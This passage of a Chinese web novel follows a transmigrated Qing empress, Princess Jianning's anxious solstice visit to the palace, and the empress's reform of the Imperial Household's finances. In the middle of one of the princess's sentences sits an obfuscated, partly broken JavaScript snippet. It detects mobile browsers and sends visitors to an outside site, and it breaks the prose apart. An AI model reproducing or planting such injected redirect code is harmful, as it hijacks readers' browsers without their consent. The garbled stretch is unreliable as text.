这是什么新奇的虐恋路线吗? 这皇帝的心思好难猜,还好,系统精准显示了他的数值。 他那位姑姑的心思,也是一般难猜。 今年,建宁长公主身体见好,要依制入宫请安了。 珠兰思忖着这位长年泡病号的主儿,今年不告病了,估计是为了皇帝亲政后朝中愈演愈烈的三藩之事。可她这种时候入宫作甚,为自己计长远,不该避嫌吗? 建宁公主是太宗的第十四女,母亲为庶妃奇垒氏。 清军入关后,吴三桂因“引兵入关”有功被封为平西王,镇守云南,成为势力最强的藩王之一。将建宁公主嫁给吴应熊,实为以婚姻为纽带,试图牵制吴三桂,稳定西南边疆。 顺治十年,十二岁的建宁公主与吴应熊成婚,婚礼在紫禁城太和殿举行,顺治帝赐黄金万两、绸缎千匹,表面风光,实则是将吴应熊作为“人质”留在京城。 自嫁人后,这对小夫妻便一直住在宫外不远的公主府里。夫妻感情如何不知,但已诞育一子。 公主在康熙年间,又被加封为长公主。自元年至今报病次数多,入宫次数少。珠兰在宫中待年时,与这位沉默温和的长公主也只见过一次。 吉雅点燃苍术香,白色的烟雾袅袅升起,弥漫在整个宫殿内,驱散着一切不祥之气。 各宫妃嫔们在掌事宫女的轻声呼唤下,揉着惺忪的睡眼起身。她们身着藕荷色素面常服,素净的衣料衬托出淡雅的气质。铜簪简单地挽起青丝,没有任何金玉装饰,尽显低调与谦逊。 案几前,铺开洒金宣纸,从贵妃到贵人皆手持狼毫毛笔,一丝不苟地抄写着《孝经》。烛光在宣纸上摇曳,映照出她们专注的神情,每一笔都仿佛饱含着对孝道的尊崇与践行。 而在寿康宫后殿,太后养女端敏格格的寝室内同样一片忙碌。 作为宫中唯一未出嫁的皇室女眷,塔娜不算,她深知自己的角色。宫女们为她换上月白色团花缎袍,袍角绣着精致的缠枝如意纹,腰间系着绣满松柏籽的荷包,象征着长寿与吉祥。 端敏格格坐在妆奁前,任由女官为她梳理发髻。妆奁前后摆着各色琉璃饰品,皆是皇后娘娘送来的精品,宫外千金难求之物,她已经戴腻烦了。 想起皇后娘娘,她心中感激。这一年来不间断练习,让她的气血极为丰盈,冬日都可以穿单衣外出了。令人不必叫醒年幼贪睡的贾敏,她去前头陪太后一起去慈宁宫。 卯时的第一缕晨光刚刚染红宫墙,皇后便率领全体妃嫔,沿着汉白玉丹陛,缓缓走向慈宁宫。她们的朝服在晨风中轻轻飘动,宛如一朵朵盛开的花朵。在丹陛下,众人按位份高低整齐排列,行三跪九叩大礼,动作整齐划一。端敏格格站在宣妃阿日娜苏身后,身形高出众人一头,毫不怯场。 太皇太后身着十二章纹明黄朝袍,端坐在九龙沉香宝座上,神情庄重而威严。太后坐于左侧,手持纯银爵杯,身姿挺拔。 展开洒金云龙纹祭文,太皇太后声音低沉而有力,每一个字都如洪钟般回荡在殿堂内。“维康熙五年,节届冬至……”祭文的内容充满了对天地的敬畏、对祖先的缅怀以及对国家和百姓的祝福。天地有灵,请赐予爱新觉罗家子嗣。 皇后双手高举冬至贺表,贺表上的字迹工整秀丽,仿佛每一个字都凝聚着后宫对太皇太后的敬意与祝福。 太皇太后接过贺表,微微颔首,脸上露出欣慰的笑容。皇后的心意,始终是真诚的。科尔沁占据了晋商的位置,垄断了草原上的贸易,虽则是磕磕巴巴在做,却把日子过的比过去红火多了,来信时感激之意都要漫出来了。 随后,她命太监展开御笔亲书的“福”字卷轴,苍劲有力的字迹在阳光下熠熠生辉。“福”字卷轴被依次传递给皇后,再由皇后转赐各宫。妃嫔们双手接过卷轴,眼中闪烁着感激与喜悦的光芒,仿佛接过了一份无比珍贵的礼物。 传递完毕,妃嫔们纷纷进献亲手制作的绣品。贵妃萨琳进献的蓝缎平金福寿纹荷包,绣工精美绝伦,金线绣就的福寿图案栩栩如生,寓意着对太皇太后的美好祝愿。 太皇太后仔细欣赏着荷包的每一处细节,对贵妃的手艺赞不绝口。这样的态度,令全场的目光都悄悄汇聚在萨琳身上,她自己也有些不自在。 玉宁悄悄抬头,看了一眼同为贵人的诺敏,自己是惠贵人,她是荣贵人,皆非因皇上的喜爱晋位,乃是因前朝家族有功之故。可诺敏她,怎生就不着急呢。 太后都诧异于母后今日,为何如此,表现出对贵妃有明显偏爱。 她不自觉的看向珠兰,诧异于皇后根本没注意这头儿太皇太后的暗示。 珠兰一直在看端敏格格,把小格格看的有点脸红了。而后又将目光投向后方,那位足以牵动云南大势的建宁长公主该入宫了。 端敏格格不晓得为啥,被皇后娘娘炽热的目光看的,有点难以与之对视了。今年一年,都承蒙皇后娘娘照顾,不仅为她开放了马场,还送了她两匹极为健硕的宝马,更是安排了两名健壮女子陪她玩布库,对她的小爱好包容鼓励极了,常常亲来陪伴她、赞美她。连她的伴读贾敏,也被爱屋及乌,随时可以出入宫中书阁不说,皇后娘娘更是请了前朝的大学士来给她俩授课,那等配置便是教授太子都可以了。 她赶紧低下头定了定心神,捧着自己连夜赶制的“冬至荷包”,步伐轻盈地走上前恭敬进献给太皇太后。荷包上用细密的针脚绣着松柏与祥云,内装的松柏籽散发着淡淡清香。 太皇太后接过荷包,慈爱地拍了拍她的手,这孩子心善。前朝简亲王推三阻四不愿为南洋事出本钱,是这孩子取了生母留下的嫁妆银子毅然代表家中投了进去,全了各方体面。这份心意,哀家与皇上都记得。 端敏格格的脸上露出了爽朗的笑容,自从发现自己的爱好是布库和骑射,并且天赋非凡,还有亲近的人十分欣赏,在珠兰的夸赞下,她便再也没有过去腼腆柔弱的举止了。 太后接到礼部送来的皇帝祭天流程清单,她戴上老花镜,仔细标注“配享世祖章皇帝”的细节,确保每一个环节都准确无误,以备太皇太后询问。没注意那边,太皇太后与端敏格格的互动。 神武门外,宗室福晋们的马车早已排成了长队。和硕亲王、多罗郡王、固山贝子之嫡福晋身着华丽的服饰,手持丈夫手写的“冬至问安帖”,在宗人府官员的引领下,有序地进入神武门。她们的服饰上绣着精美的图案,每一处细节都彰显着家族的尊贵与荣耀。 已出嫁的建宁公主在辰时准时入宫,身着石青色团寿纹褂子,头戴银质花簪。她向太皇太后进献了婆家属地的特产——精美的普洱茶饼和珍贵的山珍干货,这些贡品都经过了内务府的严格查验。 京中的已出嫁公主,便只有她了。 珠兰细细看着她的眉目,容长脸,细眉细眼,清秀柔和,是爱新觉罗家的典型相貌。 和硕亲王嫡福晋们在巳时来到坤宁宫东庑,协助尚宫局女官分装“赐粥”。镇国公、辅国公及以下爵位之福晋,或丈夫已故的孀居福晋们,在午时准时入宫。 慈宁宫宴会厅内,太皇太后、太后、皇后围坐在一张紫檀木圆桌旁。桌上摆放着银质素色餐具,餐具上的花纹简洁而优雅。菜品依次上桌,素烧香菇香气四溢,香菇鲜嫩多汁,入口即化;八宝素粥浓稠香甜,各种谷物的味道相互交融,令人回味无穷。 建宁公主坐在慈宁宫宴的次席,她静静地聆听着交谈,不时微笑着点头,却带着一丝心不在焉。 宴毕,太皇太后赐每人一杯姜枣茶,姜枣茶的热气袅袅升起。众人接过茶杯,向太皇太后表达感激之情,随后回房小憩片刻,为下午的活动养精蓄锐。 珠兰再次看向建宁公主,果然见她随着太皇太后的脚步,往暖阁追去了。她该算准了这个时辰,太皇太后会想起女儿们,心肠最软。 慈宁宫的宴刚撤,东暖阁鎏金炭盆里的银丝炭烧得正旺,将公主石青色褂子上的团寿纹映得发暖,可她指尖的寒意却顺着太皇太后的掌心漫上来。 “皇额娘...”建宁的声音刚出口就碎了,她知道自己是皇家的棋子,当年嫁吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075668|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应熊,不就是为了拴住吴三桂吗?可棋子也怕,被下棋人随手扔掉。 眼泪砸在太皇太后的杏黄袖口上,洇出一小片深色,“外头都在传,说皇上要对三藩动手了...吴应熊是我额驸,他儿子还是您赐的名...”她忽然攥紧太皇太后的手,银质花簪在发间颤得厉害,“若真有那么一天,皇上会连我子也...”她不敢说"株连"二字,那两个字太重,会压碎太皇太后脸上的慈爱。 太皇太后的目光落在暖阁西墙的《草原狩猎图》上,那是她嫁去蒙古的三个女儿亲手绣的。 长女固伦雍穆长公主雅图,已嫁入科尔沁部25年,未有机会返京。 次女固伦淑慧长公主阿图,初嫁蒙古巴林部郡王色布腾,色布腾去世后,遵从蒙古习俗改嫁其弟满珠习礼。无论她愿不愿意,这是她的命数。 小女儿固伦端献长公主淑哲,出嫁后,于顺治五年去世,年仅16岁。 皇室公主啊,便是她的女儿,也同样是牺牲品。这些事像针,扎在心头几十年,没有一日不痛苦。 她抬手抚过建宁鬓边的碎发,这个孩子嫁给了平西王的世子,虽然能留在京城,却无一日不战战兢兢。指腹触到冰凉的泪,她忽然老泪纵横,“傻孩子,你是爱新觉罗的公主啊。” 可这话终究软得没力气,太皇太后抽出帕子替她擦泪,帕子上绣的"万寿无疆"被泪水泡得发皱,“三藩安稳着呢,你额驸在京里好好的,儿子也要进国子监——都是流言,当不得真。”她捏了捏建宁的手心,语气里带着不容置疑的温和,“皇上心里有数,不会委屈自家人。” 建宁公主望着太皇太后鬓边的东珠,忽然懂了。那些到了嘴边的“求皇额娘保我们”,终究咽成了哽咽。 皇额娘的眼泪是真的,可话里的"安稳",却像暖阁窗纸外的霜,看着厚,一捅就破。 她磕了个头,将未干的泪痕擦在袖上,“女儿晓得了,谢皇额娘开导。”到了这个地步,她仍然在哄着她,便如同当年哄着她出嫁,哄着她与丈夫好,哄着她生下了孩子。她知道今日求不到任何承诺,太皇太后的"安稳",不过是给她个台阶下。 从慈宁宫出来,建宁公主又去了寿康宫。 太后正对着铜镜摘簪子,赤金点翠的凤钗卸下来,露出鬓角新添的白发。“刚从皇额娘那儿来?你家中可好?”太后的声音淡淡的,让宫女给建宁倒了杯姜枣茶。每句话都像隔着层纱,碰不到实处。 建宁捧着茶盏,指尖烫得发麻。她知道太后向来不管事,当年董鄂妃得宠时如此,如今三藩流言沸沸扬扬,她依旧这般云淡风轻,估计根本就不知道。 “额驸是本分人。”建宁没话找话,目光落在太后案上的《金刚经》上,那是她抄了半年的。 “本分就好。”太后翻开经卷,“本分的人,总不会出事。”这话像在安慰,又像在敲打——吴应熊若不本分,早就成了刀下鬼。 建宁低头抿茶,枣核硌着牙,原来连太后都知道,她的安稳全凭额驸"本分",而非皇家的情面。 “宫里的事,听皇上的,听太皇太后的,错不了。”太后抬眼,看建宁公主的眼神像看一面镜子,“咱们是女人,管不了朝堂上的刀光剑影,守好自己的本分,比什么都强。” 建宁没再说话,将半杯姜枣茶喝完,茶底的枣核沉在杯底,像颗咽不下的心。 她起身告辞时,太后塞给她一串菩提子,“念经能静心。” 建宁捏着那串珠子,冰凉的触感让她清醒——太后不是不管事,是管不了,也不想管。皇家女儿的命,从来如此,哭也没用,求也没用。 养心殿的苍术香还没散,珠兰正对着西洋自鸣钟发呆,想着年后回来的商船。 见建宁公主进来,她亲手倒了杯玫瑰露,玻璃盏里的紫红色液体晃出细碎的光。 建宁刚坐下,就看见案上的粉色琉璃盏。这物件她认得,炒到天价的稀罕物,皇后竟拿来装寻常玫瑰露,倒让她愣了愣。 “姑姑脸色不好。”珠兰的东珠十八子在盏沿轻轻一碰,发出清越的响,“是暖阁里的炭气熏着了?”她没提流言,也没问慈宁宫的事,只指着案上的"九九消寒图",“姑姑喝杯玫瑰露缓一缓,来看这''庭前垂柳''的''庭''字,看我填得好不好?” 建宁盯着那笔画里的胭脂红,忽然笑了,笑得比哭还难看:“皇后娘娘有心练字,我...我连觉都睡不安稳。”说完就后悔了,这话太失态,不像个公主该说的。 珠兰放下笔,琉璃盏在她指间转了半圈:“不安又能如何?求太皇太后?求太后?”她抬眼,目光亮得像殿外的日头,“姑姑,你是建宁公主,不是谁的附庸。” 建宁猛地抬头,银簪差点从发间掉下来。这话像惊雷,在她三十多年的人生里炸响——从出生起,她就一直被教着"为皇家联姻"、"为额驸守礼"、"为儿子积福",却从没听过"你是你自己"。 “为自己活?”她颤声问,这四个字在舌尖打转,陌生得像外语。 “额驸是额驸,三藩是三藩,你是你。”珠兰将琉璃盏推到她面前,“他们的事,自有皇上决断。可你心里的苦,旁人替不了——若总为别人的事熬煎,这日子还有什么过头?” 她拿起一支新笔,蘸了胭脂,“今儿这''前''字,该姑姑来填,填得艳些,别总用素色。” 建宁握着那支笔,指尖的抖竟比在慈宁宫时还厉害。胭脂在宣纸上晕开,像朵突然绽开的花。她看着那抹红,模糊的想起五岁生日那天,皇阿玛送她的那支赤金凤凰钗——那时的她,眼里也是有光的。 忽然觉得那些缠绕心头的恐惧、委屈、不甘,好像被这句话捅开了个小口子。她蘸足胭脂,在"前"字的竖钩上用力一挑,那抹艳红像道闪电,劈开了满纸素色。 “皇后娘娘...”建宁的声音发哑,带着从未有过的轻,“这...真的可以吗?” 珠兰笑了,东珠在阳光下闪着温润的光:“这宫墙再高,也拦不住人心想亮堂些。公主的命数,为何不能自己握住。” 殿外的日头爬过坤宁宫的鸱吻,照得琉璃盏里的玫瑰露泛着金波。建宁握着那支胭脂笔,这冬至日的寒意,好像悄悄融了些。 珠兰:我说什么了,我什么都没说啊。 60. 第三局胜 临近又一个除夕,家家户户都要过年关。 康熙五年的内务府,却像被春阳晒化的冻土,处处透着活气。 珠兰执掌的这一年,生活仿佛沾了蜜,从铜器库到缎库,从广储司到会计司,流水般的进项催生出一连串新规矩——福利按季度发,补贴逢节就有,谁办差出彩,当即就能领到沉甸甸的银锞子。 基数最大的穷苦包衣们最先尝到甜头,以往盼着“补缺”要等三年五载,如今商事铺得大,南边的煤铺子要管账,新开的窑厂要监工,连崇文门的税卡都添了十几个新缺,只要识得几个字、会打算盘、不怕苦累,就能捞个差事。 住在烧酒胡同的包衣阿哈家,男人刚被派去南边卖煤,月钱连带着补贴比从前多了五成,女人在绣作领了额外的“赶工奖”,竟能给小儿子扯块新布做棉袄。 胡同里的包衣们碰面,不再比谁家的亲戚地位高,反倒比谁领的“绩效银”厚,说话时腰杆都挺得直些——谁都知道,这是皇后娘娘给的体面。 太监们的日子更是翻了个样,以往守着宫墙,月钱刚够吃喝,如今却能去皇商督办衙门当差:跟着商船去天津卫盘货,能得“差旅费”;在崇文门税卡核账,有“分成奖”。 赶在冬至后,第一批外放监察皇商的太监回来,腰里揣着沉甸甸的荷包,给敬事房的同乡们分糖时,嘴里的话都带着底气,“顾大总管说了,算学精、账目清的,才有资格出去。” 这话像颗石子投进静水池,比顾问行吆喝多少次都管用。敬事房的小太监们忽然捧起了算盘,连给主子研墨的空档都在默默背“一上一,二上二”。 今年内务府虽然还有东洋南洋两笔买卖不入库,琉璃的账目也是单算,可就只说皇后娘娘改制后的采买部分,就能省下百万两的额外支出。 蜂窝煤,这是内务府自己的买卖,已有百万的利入账,年后估计还得有百万。 科尔沁那边的买卖,早先就谈好了,一应成本是王公们出,内务府保证西北商路是他们独享,保证货源充足,要分三成利,分得了纯利百万。 科尔沁王公尝到了大甜头,把山西的货从晋商手上按照关内的价买了,送到草原上卖给穷亲戚翻个五倍十倍都是合理的,他们今年啊是头一次贩卖,还比心黑的晋商卖的便宜些呢。这买卖,比抢可快啊。他们打了包票,明年还能翻倍。 太皇太后收了两封家书,雅图、阿图两位公主都写了信回来。 苏麻喇姑看太皇太后读了信,老泪纵横,惊的一时说不出话。别是哪位公主有了不好? “这两个孩子都是我的心头肉,我怎会偏心!”太皇太后心中难过,这是她仅剩的至亲了,她做梦都盼着她们好啊。 苏麻喇姑闻言也叹了口气,固伦雍穆长公主雅图,乃是太皇太后长女,丈夫为蒙古科尔沁部卓礼克图亲王吴克善之子弼尔塔哈尔,是太皇太后的亲侄。 科尔沁代替晋商垄断了草原贸易,便是雅图公主家中操持的。 公主所生长子阿拉善已袭爵“辅国公”,正是负责商事。冬至前,入京向太皇太后、康熙帝进献“冬猎贡品”(包括貂皮100张、野马驹2匹),公主本人因“蒙古部落冬季需主持牧场事务”未随行。实际,就是操持商路之事去了。 反观固伦淑慧长公主阿图,命运便不如姐姐,不仅是再嫁,身体也不好。作为巴林部与清廷的纽带,大冬天还要拖着病体殚精竭虑,协调巴林部与扎鲁特部的牧场纠纷,避免蒙古部落内斗,为清廷稳定北部边疆。 定然是科尔沁的厚利之言传到了巴林,才有了这一出! 东北纳喇氏那头儿油水没那么丰厚,但成本也不高,采参、摸珠、打猎,搞得全是稀罕物,得按照每年的指标搞。按照皇后要的数目运到京中上贡内务府,指标内会有剩下的货用来赚钱,就各地卖了。抢货的都是达官贵人,堪称供不应求。纳喇氏赚个人工钱、运输钱就吃不清喝不清了。卖掉的那部分,内务府要分五成利,是五十万。因为这个,玉宁还和家里闹了别扭,逼着父兄亲回盛京去盯着,她可是丢人了,比诺敏那边少了一半。 苏州的马佳氏送回来百万,运营模式与纳喇氏一样,也是五成利,这不算东洋的买卖。他们预估,明年黄河治理江苏段差不多就完工,经济民生再恢复些,还能翻倍。若是三藩那边的商路打通了,还能再翻倍。 赫舍里氏的掌柜们也做了内务府的买卖,拿了不少贡品的专营权,把天津卫码头那片地儿划到了自己兜里,说是晒盐用,送入内库一百五十万两。 其他大小皇商,在太监们不遗余力的监督下,则总计能有二百五十万入内库。 这么一算,康熙五年内库入账七百五十万,比去年抄家得的多了,大家都能过个肥年。 不说皇帝的感想,前朝的感想,就说敬事房。 太监们一看外放真是肥差啊,就算各自只盯一个地区的铺子,那回来也最少拿几十两银子啊。 原本不让识字的枷锁,都给解开了。这半年认的字、算的账,比过去三年加起来还多。确定皇上主子确定不忌讳太监外出行事后,顾问行也可算不用装自己是个文盲了。 谁都想争那半年一轮换的差事——哪怕只是去皇商的绸缎庄站柜台外看着,也比在宫里端茶倒水强,至少能攒下养老的银子。 宫女们的月钱也悄悄涨了,最低等的小宫女,月钱从五百文涨到八百文,还能按季度领份例银:夏天有“降温钱”,冬天添“炭火补”,补贴比月钱还高呢。 浣衣局的宫女们搓着绸缎衣裳,嘴里哼着新编的小调,说的都是“皇后娘娘让咱们也能存□□己”。连平日里最木讷的洒扫宫女,见了人都眉眼带笑——月钱够买精米白面,存了补贴还能给家里捎回花布,谁能不精神? 这股子暖意也漫到了女官们心里,那日春苒带着另外三位掌事女官,捧着新绣的“福寿图”来见珠兰,话没说先红了脸。 “娘娘,”春苒福了福身,声音里带着怯意,“听说西山建了太监养老院……老宫女们……老了没去处,能不能……”不是所有女子都有家啊。 珠兰正看着内务府的收支账,闻言抬眼笑了,“你们不说,我也正想着呢。”她在账册上圈出“西山”二字,笔尖敲了敲,“太监有归处,宫女自然也该有。年后就让营造司去选址,照着太监养老院的规制,再添个绣坊——让老姐姐们住着舒心,还能教小丫头们做活计。”说起这个,那纺织机也该琢磨琢磨了。 春苒四人对视一眼,眼里都亮了。她们跟着珠兰办差这些日子,见惯了她把“实惠”落到实处:给包衣子弟开蒙学,给太监涨月钱,给宫女添份例,如今连养老的事都想到了。 走出坤宁宫时,廊下的冰棱正往下滴水,滴在青石板上,竟像在数着日子等开春,老宫女们也能有个暖融融的家了。 这一年的内务府,不再是冷冰冰的。皇后娘娘把账本上的数字,变成了包衣炕头的新棉絮,太监荷包里的碎银子,宫女梳妆盒里的胭脂,还有女官们心头的盼头。 朱墙深院里的人,第一次觉得这日子不仅有规矩,还有奔头——而这奔头,都系在那位算珠打得比谁都精,心却比谁都暖的皇后娘娘身上。 第三局的钱与人心,是一起归附的。当老板,就得有大格局。扣扣索索,买卖做不长久。珠兰,就是个好老板。 内务府中,大家心里也有担忧,若是年后格局大改,这些已经落下来的恩典,是否会被收回去。连乾清宫的总管太监梁九功,心里也在打鼓。大河涨,小河满。若是皇上主子真把赚钱的鸡都放到前朝去了,他们这些太监可是插不进去了。 南洋的海风还没吹进紫禁城,裕亲王福全的令牌已递到内务府。日后,南洋的商路便由这位王爷亲自过眼儿了。已经有包衣和小太监琢磨着,是不是得走一走裕亲王府的关系,将来才好有位置。但是发现,他们的去留还是在娘娘手里管着。 皇帝坐在御案后,指尖在“内库收益”四字上敲了敲——这话与二哥说得明白,商事归亲王统领,干股是宗室拿着,朕的银子却一分不少要进皇家私库。 他对自己拆分内务府买卖的做法,是觉得十分明智的。虽然一开始是疲于应付太皇太后,嫌弃宗室的无赖亲戚想不劳而获,对八旗勋贵寻老太太告状很有意见,但是后来银子赚多了,路子野了,风险也就油然而生。 他天生厌恶风险,正如他始终不认为海上事是正事。 但是,祖母说的对,他的皇后已经站在了风口浪尖。索尼卧病,葛布喇应付不了各方对赫舍里的恶意。珠兰再这么为了他将各路生意垄断下去,皇后的娘家就要被群起而攻之了。 但从福全接掌能赚钱也风险大的南洋买卖的那一刻起,这其中种种就与珠兰再无干系。 虽然康熙不喜欢海洋,在他的人生中,江山一统乃最重之。但,他承认海贸之利乃巨,仍旧主张绝不可本末倒置。 也不该,因小失大。 便如同琉璃事,朕,总归是护着皇后的。 东洋的事更直接,马佳氏的子弟们正忙着盘点晋商留下的底子,预备年后就将商事划归前朝,皇帝已经定下了“东洋红利入国库”。群臣听了大学士们放出的风声,都等着这饕餮盛宴了。他们不见得能去东瀛,但国库的银子他们可以沾染啊。 彼时,在一个午后。珠兰沉默听着,皇帝对着科道言官奏折的冷笑,“他们不是总说内务府垄断商事?如今把东洋的银子送进户部,看谁还敢嚼舌根。”您老人家把妥协的艺术,也说的好像您是全场mvp似的。 好在,我也不是为了睡金吃银而敛财,金银在户部存着还是在内务府存着,是皇帝要操心的事。对珠兰而言,能量从海外流入的大势已成。此时,第三局乃大胜。 若是分的清楚了,不仅是这一笔南海上的买卖,琉璃窑也归了工部。冬至后,连烧窑的匠人到内务府派去的管事,统统划归了前朝,薛奋也捞到了一个正经前朝的六品官儿当。 皇帝握着珠兰的手,仿佛捧着一块沾染了山川气息的白玉,“朕晓得琉璃不过是沙子烧的,这买卖不宜沾污了你的手,便叫工部担着去吧。” 工部尚书已经换上了他的亲信,这琉璃窑赚来的银子从工部走支出,日后河工上便不需要再从内库拨付了,也免得户部跟着坐蜡,米思瀚还是干的不错的,不好总让他背锅。便是薛奋,做的好,皇帝也准备日后把他摘出来。康熙在这一块儿上,自认是个仁义的主子。 珠兰笑着点头,趁着皇帝抬头,使劲儿翻一个白眼。皇帝硬着改了她薄利多销的思路,令薛奋做局把琉璃卖上天价。 钱他赚了,好处他得了,那前头的活可都是她安排干的。然后跑来说后续不用她管了,还要她感激他护着她的名声。莫说她有个会分析本质的系统,便是没有,天底下也不该有这种道理。 皇帝还舔着脸问她,对此有何意见。那个邀功的嘴脸啊,罢了,谁让他如今长得漂亮呢,珠兰的意见可以跟着五官走一圈。 她看着系统面板上,自己的组织贡献度随着内务府官员转任,在朝着前朝不断蔓延,不做声了半天。我还没准备在前朝六部刷数据呢,这有点太早啊,观察点不够用。 一直等到皇帝把下巴放到了自己肩膀上,直面那张很权威的脸,和水汪汪的凤眼,她才笑了出来。 皇帝也笑了,这美人计算是叫他使明白了。康熙如今也发现了,皇后爱慕他的容色,很有些美而自知的油腻劲儿了。 好看的人,油腻了也好看。 “不若,再立商部吧。”珠兰正色说道,看着皇帝站直身体,神色一动便清爽去油了。多整几个部门出来,她的人占据的半数以上,这个部门就是她可以控制的了。 比如,商部从上到下定然大部分还是内务府过去的人,忠诚度有保证,珠兰的组织贡献度也肯定大于60,一来就掌握一个大部门还不好。 内务府的人流动起来,皇帝欢喜于皇后没有私心,实则,她也好培养下一批人才。 内务府有了钱,就不可以穷教育。珠兰立的那包衣学堂也有两年了,学的都是算学、机械、火药一类的实用学科,孩子们是寄宿制,在性格耿直的老师之言传身教下,脱离了家庭熏陶,德智体美劳都发展,比老一辈儿清正好用。而且,忠诚度最高的那一批的奖励是直接跟着春字辈儿的学武,极端能打,这很关键。 因为暂时掺和不上别的教育,只能从包衣开始搞。这帮人,好赖比城外庄子收养的孩子们多,日后入仕途的也多。早早灌输了珠兰想让他们学会的东西,以后才好与老学究们争夺话语权。 康熙聪慧敏锐,她只是稍稍点拨,他便能明白商部的好处。 从南洋到东 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这话像剂强心针,竟让他猛地坐起来。索尼的眼睛忽然亮了,浑浊的瞳仁里闪过精光,“好……好啊……”他喘着气,抓住索额图的手,“那些说内务府的闲话,总算能堵回去了……赫舍里家也不用再被架在火上烤了……”这一轮又一轮的博弈,可算不用围着他家转了。索尼真是不适应这种站在大日头底下的日子,还是半是阴影半是阳的生活更美好啊。 葛布喇赶紧垫上迎枕,看着父亲枯瘦的脸颊泛起潮红,只当是老父心病得解,“阿玛身子好了,比什么都强。” 他憨憨地笑,皇上做什么都是对的,就像不让咱们自己造火器,只仿西洋炮——皇上心里有数。 索尼瞪了他一眼,却没力气多说。这个儿子,永远只看眼下:皇上要兵就练兵,要粮就筹粮,从不想想火器仿而不造,将来会不会被西洋人甩开;也不懂皇帝拆分内务府,不止是为了堵百官的嘴,更是为了让宗室八旗都尝到甜头,好牢牢攥住他们的心。 之前啊,皇上年少被宠坏了,非得跟大伙儿对着干,定是太皇太后劝了他,这才想通了。索尼此刻并不知,明年内务府的利会到一个令人无法接受的程度,直接干爆了皇帝的心理防线。 索额图扶着阿玛躺下,转身出来时冷笑一声,望着廊下飘落的雪花,商路哪条不是皇后娘娘指点的;琉璃窑的配方,也是娘娘让人从西洋传教士那里一点点抠出来的…… 南洋那边裕亲王管着,咱先送了晋商过去,而后也把那粤商娘子送了过去,结个善缘。上个月那两艘载满了瓷器、绸缎的大海船在福建水师的掩护下已经南去,若是顺利,明年三月就该回来了。 葛布喇跟出来,见他脸色难看,不解道:“老三你怎么了?阿玛都高兴,你反倒忧心?” 索额图瞥了他一眼,“咱家娘娘的内务府体系环环相扣,走南洋的绸缎,去东洋的瓷器,琉璃的利润补商船的亏空——如今拆开了,各管一摊,亏了算谁的?打起来压价又如何?”这场分权的棋局里,不会有大赢家,只有“不犯错”的帝王,和“该退场时就退场”的棋子。这一年啊,咱们内务府到了年尾,竟然是白干,为他人做嫁罢了。 葛布喇叫三弟详细说说,他的经营头脑也是有的,只是这些日子忙活赋税的事儿了,心思不在罢了。 索额图斜睨了葛布喇一眼,语气里带着几分不屑:“莫非,大哥以为咱家娘娘的内务府是随意搭起来的棚子?走南洋的绸缎,去东洋的瓷器,烧琉璃的利润填商船的亏空——这些环节像钟表的齿轮,环环相扣着转。” 他掏出随身带着的账册,往葛布喇面前一拍,纸页上的“南洋”“东洋”字样被拍得发颤,“如今硬生生拆开,裕亲王管南洋,马佳氏掌东洋,薛奋盯着琉璃窑——将来哪一摊亏了本,算在谁的头上?南洋的船为了抢生意压价,东洋的货为了争销路掺假,到时候打起来,亏的还不是朝廷的银子?” 葛布喇被问得哑口无言,索额图却没停:“你以为这是分好处?这是把好好的一盘棋拆成了碎子!”他走到窗边,“咱们这些底下人,不过是棋盘上的子,该退场时就得卷着铺盖走人。” 说到这儿,他忽然转身,手里的账册“啪”地摔在桌上,“就说这一年,内务府上下忙得脚不沾地,工匠熬白了头,到头来呢?南洋的利归了亲王,东洋的银进了国库,琉璃的钱填了国库的窟窿——咱们忙了一整年,竟是白忙一场,可不是替旁人做了嫁衣裳!” 炭盆里的火渐渐弱了,映着索额图脸上的郁色。他想起当年他们核账的日夜,那些被算珠磨出的茧子,那些为了打通商路喝的酒,忽然觉得心里发堵——这哪里是分权,分明是把娘娘一手建起的家业,一块块拆下来,送给了旁人。 珠兰这个坐享其成的不生气,索额图这个亲力亲为的可憋屈了。 就算皇帝兑现了一个男爵给他,索额图也充满了怀才不遇的悲催感。 葛布喇只觉得天朗气清,水到渠成。皇上让他盯着火器营,他就每日去查火药库的封条;皇上说“仿西洋炮就够了”,他就勒令工匠们不许私造新样式。此刻见索额图眉头紧锁,他反倒劝道:“你想多了。皇上自有远见卓识,咱们照着办就是。” 索额图心都凉了,最可怕的不是帝王的算计,是葛布喇这样的“愚忠”——他们看不见刀光,听不见弦响,只当眼前的安稳是永远。 晚上,窗棂漏进半缕月光,珠兰刚卸了钗环,指尖还沾着茉莉香的余韵。 将要入睡时,听到宜春的呼唤。 这丫头许久没有夜犯宫禁了,毕竟她也是包衣的教习之一,可以正大光明的白天进来。此番急切前来,定是有了江苏那边寿春的消息。 寿春与富春两个丫头,自从在南边站稳了脚跟,除了运粮回京,就再没送入宫多少消息。 若非两人的数据都没有波动,珠兰还当她们乐不思蜀了。 接过竹筒,指尖触到冰凉的竹壁,自那两个丫头被派去江苏协助治河,密信稀得可怜。 火漆“啪”地裂开,抽出信纸的刹那,珠兰的眉峰猛地挑了起来。宣纸上是寿春惯有的娟秀字迹,可内容却看得她手一抖,信纸飘落在锦褥上。 “什么玩意?”她弯腰捡起信纸,凑近烛火再看,“寿春怎么干上海贼王了?” 再往下看,富春在信里附了句:“这样护着海船更方便,请大姐儿莫怪。” 61. 不懂权谋 康熙六年的上半年,珠兰每日在内务府喝茶,陪皇帝用两餐,向两宫请安,与姐妹闲话,日子过的悠悠然。 只有观察点总是存不下几个,系统出主意叫她把能量结晶拿去还之前欠时空局的账,免得利息再往里滚了。 珠兰觉得,债背多了,人就不愁。先把能量攒下,本世界还需要一场豪赌。 诺敏贴心,会陪着无所事事的塔娜在后宫闲逛。左右皇帝不会踏足,她们去哪里都没有忌讳。 萨琳守着观星台,偶尔去一趟景仁宫大书房,或者拿了皇后娘娘的条子去钦天监。她的西学功底,与日俱增,最近在拜读从西方带回来的牛爵士大作,倏忽不分春秋也。 